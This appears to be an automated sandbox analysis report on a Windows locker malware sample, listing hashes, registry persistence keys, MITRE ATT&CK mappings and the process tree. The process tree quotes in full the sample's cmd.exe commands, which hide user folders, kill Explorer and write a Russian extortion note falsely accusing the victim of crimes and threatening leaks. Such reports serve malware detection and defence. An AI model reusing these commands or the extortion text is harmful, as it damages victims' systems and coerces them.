ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb

General

Target
ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Size 210KB
Sample260810-vytztatfqa
SHA256 ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb
MD5 0bf9c0b1d4a43f5986fa08f087b04cae
SHA1 328b8542e3faeed47a959ab94ac2e4f1d39d2951
SHA512 10a1ed5bd4cbcd9e6181564ff149009e4b685e9310631cc95f51e5065e22f8017401f91e3f69ddd2985bde88ed35983c43e00b2b3322b9b5aca595e5125276c7
SSDEEP 6144:IEhfGkHBdZknRtjULx9aygCSCpMW90KImQijnfbCL:r++dij
TLSH
T18B244D98136AC93DC2BE27BED0A611060BF5B217D503E74CAFF8A0E66D37311A715A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" -startup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" --init"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" /setup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" --wininit"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4980	cmd.exe
4568	cmd.exe
2740	cmd.exe
1336	cmd.exe
2496	cmd.exe
2136	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3784	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Token: SeDebugPrivilege	3784	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 4568	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	87
PID 552 wrote to memory of 4980	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	88
PID 552 wrote to memory of 2136	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	89
PID 552 wrote to memory of 2496	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	90
PID 552 wrote to memory of 1336	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	91
PID 552 wrote to memory of 2740	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	92
PID 552 wrote to memory of 3784	552	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	93
PID 4980 wrote to memory of 1768	4980	cmd.exe	114
PID 1336 wrote to memory of 2880	1336	cmd.exe	115
PID 2136 wrote to memory of 2084	2136	cmd.exe	116
PID 2496 wrote to memory of 4064	2496	cmd.exe	117
PID 4568 wrote to memory of 1996	4568	cmd.exe	118
PID 2740 wrote to memory of 4932	2740	cmd.exe	119
PID 2496 wrote to memory of 1608	2496	cmd.exe	123
PID 4980 wrote to memory of 4564	4980	cmd.exe	124
PID 1336 wrote to memory of 4032	1336	cmd.exe	125
PID 2136 wrote to memory of 3140	2136	cmd.exe	126
PID 4568 wrote to memory of 3584	4568	cmd.exe	128
PID 2740 wrote to memory of 4648	2740	cmd.exe	129

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2880	attrib.exe
1996	attrib.exe
4064	attrib.exe
1768	attrib.exe
4932	attrib.exe
4564	attrib.exe
4648	attrib.exe
2084	attrib.exe
3140	attrib.exe
4032	attrib.exe
1608	attrib.exe
3584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1996
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3584
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1768
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2084
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4064
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2880
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4932
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4648
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3784

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" -startup
1⤵
PID:2308

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" --init
1⤵
PID:2748

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
PID:2112

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" /setup
1⤵
PID:2396

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" --wininit
1⤵
PID:4504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe.log
Size 1KB
SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
MD5 2d2a235f1b0f4b608c5910673735494b
SHA1 23a63f6529bfdf917886ab8347092238db0423a0
SHA512 10684245497f1a115142d49b85000075eb36f360b59a0501e2f352c9f1d767c447c6c44c53a3fb3699402a15a8017bdbd2edd72d8599fdd4772e9e7cb67f3086
TLSH
T1C031DE712372B1D889163F431C2D2AC007BF4769B660EE0C7598625ED9260175F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path F:\info-Locker.txt
Size 207B
SHA256 739e651fa50766fa9ab4d1aedbe8a55385ecc35a3df8d7d7911659a2ee63b564
MD5 c1d64af1865984aa6ca8443d94773825
SHA1 a98684fb0f84eb21a5fdd320129d3d342fd5b027
SHA512 3b7ba4338e64638950f6371107347a8892e6ac4f5fbfae046bff004dfc5244f02916ed7e564c21027c5ab11e7f07249727fe009f4606aa28a188daace9ca4d7e
MD5 SHA1 SHA512

Submit Download

memory/552-0-0x0000000000240000-0x000000000027A000-memory.dmp

Download

memory/552-1-0x000000001AEA0000-0x000000001AEB0000-memory.dmp

Download

memory/552-20-0x000000001AEA0000-0x000000001AEB0000-memory.dmp

Download

memory/3784-5-0x000001A710850000-0x000001A710A34000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads